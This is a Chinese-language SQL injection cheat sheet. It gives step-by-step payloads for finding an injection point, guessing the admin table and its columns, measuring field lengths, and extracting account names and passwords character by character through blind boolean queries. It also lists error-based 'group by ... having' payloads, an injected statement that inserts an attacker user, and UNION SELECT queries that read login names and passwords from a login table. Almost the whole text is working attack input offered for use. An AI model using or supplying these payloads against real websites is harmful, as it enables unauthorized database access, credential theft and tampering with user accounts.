1.判断有无注入点
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and
0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select
count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and
1=(select count(*) from admin where len(用户字段名称name)>0)
and
1=(select count(*) from admin where len(密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and
1=(select count(*) from admin where len(name)>6) 错误
and
1=(select count(*) from admin where len(name)>5) 正确 长度是6
and
1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin
where len(password)>11) 正确
and 1=(select count(*) from admin
where len(password)>12) 错误 长度是12
and 1=(select count(*) from
admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a)
---猜解用户帐号的第一位
and 1=(select count(*) from admin where
left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1
count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
group by users.id having
1=1--
group by users.id, users.username, users.password,
users.privs having 1=1--
; insert into users values( 666,
attacker, foobar, 0xffff )--
UNION SELECT TOP 1 COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id)-
UNION SELECT TOP
1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id,login_name)-
UNION
SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1
password FROM logintable where login_name=Rahul--